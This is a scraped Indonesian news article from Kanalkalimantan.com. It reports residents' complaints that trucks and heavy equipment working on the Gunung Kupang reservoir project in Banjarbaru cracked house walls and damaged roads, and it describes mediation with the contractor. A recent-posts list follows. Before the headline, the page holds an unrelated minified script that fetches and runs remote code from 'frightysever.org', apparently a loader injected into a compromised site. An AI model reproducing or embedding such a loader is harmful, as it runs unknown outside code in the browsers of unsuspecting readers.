(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Proyek Embung Gunung Kupang Dikeluhkan, Bikin Dinding Rumah Warga Retak


KANALKALIMANTAN.COM, BANJARBARU – Pembangunan proyek embung penangkal banjir di Gunung Kupang Kecamatan Cempaka Kota Banjarbaru dikeluhkan warga sekitar.

Setelah diperpanjang kontrak pengerjaan karena lewat tenggat batas pekerjaan, kali ini warga yang bermukim di kawasan terdekat embung membeberkan sejumlah keluhan.

Memasuki progres akhir pada pembangunan tahap pertama ini, proyek embung Gunung Kupang diprotes warga karena diduga menimbulkan kerugian.

Baca juga: Anak 12 Tahun di Banjarbaru ‘Digilir’ Empat Lelaki

Herlia Susanti, warga RT 1 dekat embung Gunung Kupang menunjukkan retak pada dinding di rumahnya diduga akibat proyek. Foto : wanda

Salah satunya adalah kerusakan jalan. Hal itu diungkapkan Herlia Susanti, warga komplek yang bermukim beberapa meter dari tempat galian embung itu.

“Biasa mondar mandir wara wiri itu truk muatannya lebih dari kapasitas, kami tegur pertama kali disebutkan mereka sudah dapat izin dari RT, ternyata saat warga cek, RT belum mengetahui,” ucap warga RT 1, Herlia Susanti, Kamis (25/1/2024) siang.

Disebutkan Herlia, warga di RT 1 sempat protes dan melakukan blokade jalan dengan cara memasang portal.

Dampak dari lalu lalang truk angkutan material hingga alat berat, disebut Herlia, menimbulkan keretakan pada dinding tembok beberapa rumah warga.

Baca juga: Lapor SPT Tidak Benar Rugikan Negara Rp1,6 Miliar, Dua Tersangka dari PT DDA Diserahkan Ke Kejari Batulicin

Di derta dekar rumahnya saja, sedikitnya ada 8 rumah yang terdampak retak. Bisa jadi, kata dia, ada 10 unit rumah lebih yang mengalami keretakan akibat angkutan material dan alat berat.

“Termasuk rumah saya, setiap ruang timbul retak karena salah satunya komplek kami ini dipakai sebagai jalan lalu lintas truk dan alat berat. Bahkan ada satu rumah yang halaman depannya jadi tempat penurunan alat beratnya,” beber saat ditemui Kanalkalimantan.com.

“Memang tidak saya pungkiri sedari dulu sudah timbul retak, tapi hanya retak rambut saja, tidak sebesar saat ini, karena terkena imbas getaran angkutan yang setiap hari lewat semakian memperparah,” sambung dia.

Beberapa rumah-rumah warga yang terdampak keretakan tersebar di tiga RT yakni RT 1 tempat Herlia tinggal, RT 3, dan RT 29.

Baca juga: Bedah Novel “Meratus, Izinkan Aku Jatuh Cinta”

Herlia menyebutkan keruskan parah terjadi di rumah warga lain yang membuat dinding hingga lantai rumah terbelah, serta material rumah dan plafon sampah berjatuhan.

“Kami itu kagetnya material pasir akibat keretakan itu turun ke bawah, makanya kami kira-kira gempa. Lalu ada juga yang rumah warga tingkat dua itu lantainya ikut terbelah,” sebutnya.

Usai tindakan pemblokadean jalan itu, warga diberikan kesempatan untuk melakukan pertemuan bersama pihak kontraktor dan Dinas PUPR Kota Banjarbaru pada Kamis (18/1/2024) lalu, di kantor Kelurahan Cempaka.

Hasilnya mediasi antar pihak, pihak kontraktor berjanji bertanggung jawab seperti perbaikan jalan bergelombang dengan amparan batu-batu.

Baca juga: Cari Barang Bekas Malah Curi HP dan Gerinda di Banjarbaru, MA Ditangkap di Banjarmasin

“Mediasi di kelurahan yang saya hadir, kontraktornya bersedia bertanggung jawab memperbaiki apa yang rusak dan apa yang dirugikan, salah satunya jalan diamparkan batu,” ungkap dia.

Kemudian sambung dia, untuk perbaikan drainase sudah mulai dilakukan dengan terlihat adanya gorong-gorong yang akan dipasang.

Sedangkan untuk kerugian lain seperti keretakan rumah, sebutnya, saat ini tengah dilakukan proses perundingan antara kedua belah pihak terlibat dalam pembangunan untuk dilakukan pendataan.

Warga tidak berharap lebih terkait perbaikan kerusakan rumah. Namun, ia menegaskan agar angkutan material dan alat berat jangan sampai melewati permukiman warga.

Baca juga: 48 Gram Sabu Dimusnahkan Polres HSU, Kasus Narkoba dari Tiga Tersangka 

“Mengingat pengerjaan embung dilakukan tiga tahap, dan ini baru tahap pertama saja sudah banyak dampak yang ditimbulkan, nanti saat penyiringan lagi alat-alat berat dan angkutan material yang berat dimohon untuk jangan lewat di komplek kami,” pungkas dia. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Jalinan Erat Silaturahmi Warga Sungai Besar dari Budaya Banjar “Balogo”

KANALKALIMANTAN.COM, BANJARBARU – Suasana riuh diiringi tawa gembira warga baik tua, muda, hingga anak-anak, larut… Read More

5 jam ago

Pelantikan Pengurus Wilayah Keluarga Besar PII Kalsel

KANALKALIMANTAN.COM, BANJARMASIN – 4 Mei diperingati Hari Bangkit (Harba) organisasi pelajar tertua di Tanah Air,… Read More

7 jam ago

Lesti Kejora Hingga Ria Ricis Siap Ramaikan Silet Awards 2024!

KANALKALIMANTAN.COM, - Ajang penghargaan paling dramatis dan paling sensasional yang ditunggu masyarakat, Silet Awards 2024… Read More

7 jam ago

Kontes Motor 2Tak “Entwosiastrokes Volume 2 2024” di Banjarbaru, Ajang Adu Para Modifikator Banua

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin mengapreasiasi penyelenggaraan event kontes motor "Entwosiastrokes… Read More

8 jam ago

Kali Pertama Airbus A340 Layani Jemaah Haji Embarkasi Banjarmasin

Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More

12 jam ago

100 Peserta Ramaikan Kejuaraan Catur se Kalteng Piala Pj Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More

14 jam ago

This website uses cookies.